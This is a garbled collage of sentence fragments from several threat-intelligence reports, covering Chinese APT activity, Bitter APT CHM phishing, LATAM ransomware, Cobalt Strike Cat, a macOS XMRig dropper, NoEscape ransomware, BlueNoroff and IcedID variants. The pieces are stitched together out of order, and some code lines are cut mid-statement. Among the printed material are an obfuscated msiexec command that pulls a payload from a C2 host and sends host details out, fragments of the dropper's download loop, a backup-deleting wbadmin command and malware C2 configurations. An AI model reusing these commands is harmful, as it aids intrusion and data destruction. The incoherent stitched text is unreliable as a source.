T1190 Exploit Public-Facing Application CISA has observed the actors leveraging CVE-2019-19781 to compromise Citrix Application Delivery Controllers.


CISA has observed Chinese MSS-affiliated actors using the Execution [TA0002] technique identified in table 7. Table 7: Execution technique observed by CISA MITRE ID Name Observation T1072 Software Deployment Tools CISA observed activity from a Federal Government IP address beaconing out to the threat actors’ C2 server, which is usually an indication of compromise.


While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals.


Bitter APT is a South Asian threat group that commonly targets energy and government sectors; they have been known to target Pakistan, China, Bangladesh, and Saudi Arabia.

Phishing Campaign Targets Chinese Nuclear Energy Industry


Figure 1: Attack flow described in this research Social Engineering with Phishing Emails The emails contain a number of social engineering techniques.


A free email provider is used, therefore domain reputation checks will not be useful.


If the recipient were to use a search engine to check for this employee, they would easily be able to find corroborating information from LinkedIn and the Ministry of Foreign Affairs website for Kyrgyzstan, adding to the supposed legitimacy of the email.


This is presumably also how the malicious actor was able to get information in order to craft the lure.


Figure 3: Email body lure with nuclear themes Malicious Payloads via CHM and Microsoft Excel Files Multiple payloads have been observed being delivered.


%AppData%\dwmcor.exe


The first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2.


^/^i htt^p:/^/mirz^adih^atti^[.]com^/cs^s/t^ry.php?h=%computername%*%username% /^q^n ^/^norestart" /ft


Figure 6: Encoded PowerShell command in version 2 of the CHM files


WinSecurity /sc minute /mo 15 /tr


It is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username.


Always verify that the sender is trusted and understand that even if it claims to be from a particular person, it might not be.


This report includes information gathered using the Recorded Future Platform, dark web sources, and open-source intelligence techniques (OSINT).Executive SummaryWe identified several government entities in Latin America (LATAM) that have been affected by ransomware attacks, likely involving Russian or Russian-speaking threat actors, beginning on or around April 2022.

Latin American Governments Targeted By Ransomware


We have also observed several high-profile database leaks related to entities in LATAM on low-tier and mid-tier English-speaking forums such as BreachForums, with data dumps spiking in April 2022.


These observations and trends could represent a paradigm shift in the ransomware and broader cybercriminal community related to unwritten rules and internal group policies on the targeting of government entities.


If unaddressed, ransomware attacks on local, provincial, or federal government entities in LATAM could constitute a credible national and geopolitical security risk.


The targeting of LATAM government entities could represent an initial shift away from internal cybercriminal policies on the targeting of governments worldwide.


This is the most likely avenue by which such threat actors gained access to compromised LATAM government networks.


The risk of negative publicity and stigmatization on dark web and special-access forums, mainstream media attention, and international law enforcement activity increases dramatically once targets in these industries are attacked.


It is possible that the targeting of LATAM entities by presumably Russian or Russian-speaking ransomware gangs could mark the beginning of a paradigm shift in which targets that were previously internally sanctioned by the group could now become viable targets for ransomware operations.


This is a noteworthy event, as the Mayors Office of Municipality of Quito and State Attorney Generals Office confirmed that the initial attack caused the suspension of several critical government services, which caused an inconvenience to users who have not been able to carry out procedures.


Neither of these incidents were widely reported in either Mexican or Brazilian media.


The most effective investment would be to give residents in LATAM and the Caribbean in-person or remote access to IT security-oriented schools and training institutions.


Network segmentation can halt the propagation of ransomware through an organizations network.


Threat actors will look for networks that have internet-facing servers running RDP and then exploit vulnerabilities in those servers or use brute force password attacks.


[12] Targeted Attack Lifecycle The Targeted Attack Lifecycle is a methodology to map adversary tactics, techniques, and procedures (TTPs) in a structed way.

Chinese Threat Actor Used Modified Cobalt Strike Variant to Attack Taiwanese Critical Infrastructure


After enumerating subdomains of the associated victim network, the threat actor uses automated vulnerability scanning tools including Nuclei and Afrog to identify potentially exploitable systems.


[13]• CVE-2021-3129 Laravel debug mode RCE


[15]• CVE-2021-44228 Apache Log4j


[16] Figure 5 – BASH history logs of from the threat actor’s system showing exploitation of CVE-2020-2551.


Only registered users of t00ls[.]com could obtain the decryption key for the ZIP folder and access the tool.


Notable features of Cobalt Strike Cat include: 1.


3. Modified stager designed to evade signature-based detection during malware execution.4.


According to log data, a reverse shell was established from the remote victim device as SYSTEM-level privileges using a process named "bea.exe".


The database used a weak password and was susceptible to brute-force attacks.


EclecticIQ researchers observed that the threat actor used the Windows command-line arguments to perform general reconnaissance against infected devices.


The actor deployed various credential stealing techniques against compromised hosts to obtain user account passwords in NTLM hash format and saved credentials from web browser.


The Cobalt Strike Cat beacon logs (Figure 12) show that the actor uploaded LaZagne onto the infected device for credential harvesting purposes and deleted the LaZagne binary after execution to avoid detection from the user's side.


Move Laterally


Threat actor uploaded the fast reverse proxy (FRP) binary to the "C:\Windows\Temp" file path and then executed it on victim machine.


Logs obtained from attacker infrastructure, such as target lists and metadata show that organizations in Taiwan account for the largest proportion of targets.


According to event logs, on 02/09 at 08:51:43 UTC, EclecticIQ researchers have concluded with high confidence that the actor compromised an IOT device in the network of the Directorate General of Highways, MOTC in Taiwan


Figure 16 – Reconnaissance against Malaysian and Egyptian government entities.


Analysts identified the following findings supporting the assessment: The modified version of Cobalt Strike event logs obtained from the threat actor infrastructure revealed additional IP addresses that very likely belong to the attacker and metadata that very likely show the origin of the attacker.


The timezone of attacker virtual sandbox 103[.]156[.]184[.]83 is in the UTC+08:00 timezone.


EclecticIQ researchers observed that the threat actor used private proxy addresses from a Chinese underground proxy IP solution called 'Tigercloud Club' to conceal their real IP address.


Cobalt Strike Cat event logs: Figure 17 – Event logs from Cobalt Strike Cat showing details about victim and threat actor.


Monitor network traffic regularly to detect unusual activities or traffic patterns that may indicate C&C connections.• Deploy firewalls:


This user right allows non-administrative users to create global objects, including services.


Indicators Command and Control server – Exposed web server: • 156[.]251[.]172[.]194Threat Actor IPs based on Cobalt Strike Cat event logs (very likely proxy address): •


Please send us your feedback by emailing us at research@eclecticiq.com.


[Online].


[3] “cIPR/cmd/cIPR at main · canc3s/cIPR,” GitHub.


[11] fatedier, “frp.”


[13] “NVD - CVE-2023-21839.”


https://nvd.nist.gov/vuln/detail/CVE-2021-44228 (accessed Apr. 28, 2023).


[19] “Directorate General of Highways, MOTC.” https://www.thb.gov.tw/en/ (accessed Apr. 28, 2023).


OpenSource Gh0st RAT Still Haunting Inboxes 15 Years After Release


With Chinese universities (including more than one in Nanjing) being heavily involved in training talent for the Chinese defense industry, it is also plausible that students or other threat actors that are at times associated with APT groups may be carrying out independent threat activity using tools they are familiar with.


The malicious dropper contains a legitimate version of the software and executes it to give the illusion of a properly behaving application.

CrowdStrike Uncovers I2Pminer MacOS Mineware Variant


The following analysis was performed on a binary that drops and executes a copy of Apple Logic Pro X (bfa9f7b8014efab4143fb2a77732257144f3b804ee757fb41c9971b715da53d7).


DMGs are a common delivery mechanism for both benign and malicious software.


The generated script is executed via a /bin/sh subprocess.


Then it creates a new folder structured for the bundle located at /tmp/._[a-zA-Z]{10}/Logic Pro X.app/Contents.


The dropper binary unpacks a customized Mach-O compiled from the open source i2pd (I2P Daemon) project.


The I2P dropper script is written to disk at /tmp/._[a-zA-Z]{10}.


This file is read and unarchived to the original file path of the I2P dropper script.


The script pads the resulting Mach-O with a random number of \x00 bytes.


The padded i2pd Mach-O file is executed via a call to exec -a "/System/Library/Frameworks/CoreServices.framework/Frameworks/Metadata.framework/Versions/N/Support/mdworker_shared" "$0" Note that $0 will resolve the first argument of the current process.


This is the file path of the I2P dropper script, which was replaced with the padded i2pd Mach-O file.


It is a universal binary supporting both x86_64 and ARM architectures.


In addition to running the I2P network stack, it also contains static configuration elements necessary for the operation of the XMRig miner.


These tunnels are responsible for the localhost listeners on ports 4444 and 4445.


These align with their usage by the XMRig downloader and miner.


The script then removes any files that conflict with its randomly generated paths.


During the first subloop, curl is used to download a MD5 hash from http://127.0.0[.]1:4445/updtmd.


The XMRig payload is then extracted from the download via tar, and the resulting Mach-O file is padded with a random number of \x00 bytes.


Port 4543 is the default listening port for XMRig’s API.


The binary does not need a command line miner config.


The XMRig implant will execute until the user logs off, shuts down their computer or opens Activity Monitor.


If these spikes are noticed, the implant is also quick to kill itself and clean up its on-disk artifacts if it determines the user is investigating system resources via Activity Monitor.


The mining infrastructure is dropped, downloaded and deleted every time the dropper executes.


All three files are distributed within the Contents/MacOS directory in the application bundle.


CrowdStrike’s proactive research targeted the behavior of this malware.


Files are deleted after use.


Masquerading: Match Legitimate Name or Location (T1036.005)


../ {} "$TMPDIR" \;)


= "true" ]; do while [ "$finished" !


= "true" ]; do curl --silent -o "$d_md5" "http://127.0.0.1:4445/$MD5"; [ -f "$d_md5" ] && finished="true" && md2=$(cat "$d_md5") && rm -rf "$d_md5"; sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ "$I2PD_PID" !


= "true" ]; do curl --silent -o "$d_p" "http://127.0.0.1:4445/$PLD"; [ -f "$d_p" ] && finished="true" && md1=$(md5 -q "$d_p"); sleep 5; (pgrep -x 'Activity Monitor' > /dev/null) && ([ -f "$d_p" ] && rm -rf "$d_p";[ "$I2PD_PID" !


Following that, EVIL RABBIT, a security researcher on Twitter with the handle @D4RKR4BB1T47, recently shared a tweet featuring a picture of the dashboard panel used by the NoEscape ransomware group.

Evasive NoEscape Ransomware Uses Reflective DLL Injection


The affiliate website of NoEscape RaaS offers a range of executable building options, including EXE and DLL files for Windows 7 and above, reflective DLL injection for Windows 7 and above, executable files for Windows XP, and ELF executables for Linux/ESXi servers.


The ransomware builder interface allows affiliates to configure various settings for building the ransomware executables.


Figure 2 – NoEscape RaaS Executable Builder Page Screenshot (Source: EVIL RABBIT) Technical Details Windows Variant We have taken the below sample hash for the purposes of this analysis: (SHA256), 68ff9855262b7a9c27e349c5e3bf68b2fc9f9ca32a9d2b844f2265dccd2bc0d8, which is a GUI-based x32 bit executable written in Microsoft Visual C/C++ compiler.


UAC BYPASS After creating the mutex, the ransomware modifies specific registry values to disable User Access Control (UAC), a security feature in Windows.


EnableLUA By modifying the below registry value EnableLUA to “0”, malware aims to deactivate User Account Control (UAC) on the target system.


The consent prompt serves to ask for confirmation or administrator credentials from the user before permitting the action to proceed.


Figure 4 – List of Processes to Terminate Furthermore, the ransomware stops various active services on the system, including culserver, SQL, SQL Server, sophos, vmware-converter, VSS, and others.


By utilizing these functions, the ransomware can employ robust encryption techniques to ensure that the victim’s files are securely locked and inaccessible without the decryption key.


Class Registration Database, and system files.wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0This command also uses wbadmin to delete all versions of system state backups except the most recent one.


It clears the trash before the ransomware starts encrypting files.


This step is taken to ensure that any previously deleted files in the trash cannot be recovered by the victims.


ExecPayload() –


It also deletes the ransomware, script file, and ransom note (index.html), ensuring that no evidence remains on the compromised system.


The below figure shows the code snippet “script_esxi.sh”.


ScanNFS(): This function scans NFS (Network File System) volumes on an ESXi server.


It retrieves the list of VM volumes using the esxcli command and then iterates over each volume to search for specific files related to virtual machines.


Figure 15- Ransom Note Conclusion NoEscape RaaS is a new ransomware group that aims to entice new affiliates with the promise of profits.


As the group is relatively new, it is likely that they will evolve their tools and tactics to target multiple organizations.


The attackers and access provider seemed to belong to different attack groups and spoke different languages.

Stolen certificates in two waves of ransomware and wiper attacks


Wave 1 sample – messaging after failed execution Wave 2 sample – different messaging after failed execution The wave 2 ransomware sample continues execution and checks for the mutex Screenlimitsdevices#77!;, a value that differs from the wave 1 sample’s mutex:abcdefghijklmnoklmnopqrstuvwxyz01234567890abcdefghijklmnopqrstuvwxyz01234567890 Although we call this malware ransomware based on its behavior, the encrypted files are, in fact, unrecoverable.


The driver wasn’t dropped by the wiper, and the threat actor likely dropped it using other means.


Finally, for the most part, wave 1 and wave 2 wipers remained the same, including the reliance on the same authentication key to access the raw disk driver, and the use of the same DeviceControl API methods, but with one exception, as shown below.


93 46 F5 DC C5 18 Nvidia certificate 01 FD D0 93


F6 50 87 F4 E9 AE 11 ED 65 0D 83 E8 Kuwait Telecommunications company certificate [1] Original, legitimate driver’s MD5 is 015caeec9148194054b5b1de64762a43


BlueNoroff group is a financially motivated threat actor eager to profit from its cyberattack capabilities.

BlueNoroff introduces new methods bypassing MoTW


OPS


Upon launch, the malicious document connects to the remote server and downloads the payload.


Eventually, the fetched file is spawned with the following commands: Command #1:


This is a classic BlueNoroff strategy to persuade the victim to execute the malicious shortcut file to acquire the decoy document’s password.


Also, some of the other downloaders (MD5 f766f97eb213d81bf15c02d4681c50a4) have functionality that checks the working environment.


Next, the malware creates a mutex to avoid duplicate execution.


If Windows Defender or Bitdefender Antivirus is installed on the victim’s computer, the malware executes itself with the following commands: Windows Defender: cmd /c


curl -A cur1-agent -L


Unfortunately, we don’t have the HTA script (Blockchain.pdf), but we can assume the functionality of the script based on our telemetry – showing the decoy document and fetching the next stage payload.


Upon execution, it creates a fake file (wae.txt) to show a password composed of the string ‘password’ and fetches a payload from the embedded URL and loads it.


The domain registration could be traced back to earlier in 2021, so this is an ongoing operation by the adversary.


AS54290 perseus.bond avid.lno-prima.lol 104.168.249.50 Hostwinds LLC.


Most of the companies are Japanese companies, indicating the actor has a keen interest in Japanese markets.


This financially motivated threat actor has been attacking various cryptocurrency-related businesses lately, but also other financial companies, as in this case.


Decoy document Conclusion According to a recent report, the BlueNoroff group stole cryptocurrency worth millions using their cyberattack capabilities.


It shows that this group has a strong financial motivation and actually succeeds in making profits from their cyberattacks.


Proofpoint calls the two new variants recently identified “Forked” and “Lite” IcedID.


Threat Actor Details Proofpoint has identified hundreds of IcedID campaigns from 2022 through 2023, and at least five threat actors were observed directly distributing this malware in campaigns since 2022.


Nearly all threat actors and unattributed threat activity clusters use the Standard IcedID variant.


TA551 uses the Standard IcedID variant.


Below are examples of the Standard and Forked IcedID variants observed as first-stage payloads.


Standard IcedID Loader Configuration: C2:


The observed emails contained the subject "How can i contact you?" with an attachment name (regex): "unpaid_[0-9]{4}-February-03\.one".


The IcedID loader connected to the C2 server and delivered and executed the IcedID core bot if specific conditions were met. IcedID Loader Configuration: C2: ehonlionetodo[.]com ProjectID: 3954321778 IcedID Bot configuration: { "date": "03-06-2023", "family": "IcedID Core", "comms_cookie": "01", "project_id": 3954321778, "uri": "/news/", "c2s": [ "renomesolar[.]com", "palasedelareforma[.]com", "noosaerty[.]com" ] This campaign is attributed to TA581, a threat actor that Proofpoint has been tracking since 2022, and officially designated a TA number in March 2023.


The emails contained .URL


Figure 11: Sample email using the motor vehicle safety lure.


Figure 13: URL (.url) attachment displayed in a text editor.


The IcedID loader connected to the C2 server and delivered and executed the IcedID core bot if specific conditions were met. IcedID Loader Configuration: C2:


samoloangu[.]com project ID: 3971099397 IcedID Bot Configuration:


Unlike the Standard IcedID Loader, there is no host information being exfiltrated within the request.


The first four bytes of the decrypted buffer will contain the project identifier (ID) (a campaign identifier of sorts) and then a singular domain which is used to gate the download of the bot. Figure 18: Decryption of the config buffer in the Forked Loader.


DLL Loader Analysis Field Standard DLL Loader Forked DLL Loader Extraneous code Contains code to decrypt strings and domains related to the “lite loader” File type Standard DLL COM Server Internal name init_dll_64.dll Init.dll Rough size 20KB 36KB The start of the DLL loader is the same across both versions of the DLL loader, a thread is created that contains the malicious code for custom loading license.dat: Figure 20: Start of the Standard DLL Loader.


This function decrypts strings that originally just existed in the Lite Loader. Figure 22:


The rest of this report section focuses on the Forked DLL Loader, as that is where these differences exist.


This is also around the time that Emotet dropped the IcedID Lite Loader onto the Epoch 4 and Epoch 5 botnet.


Most likely there should be a period before .dat.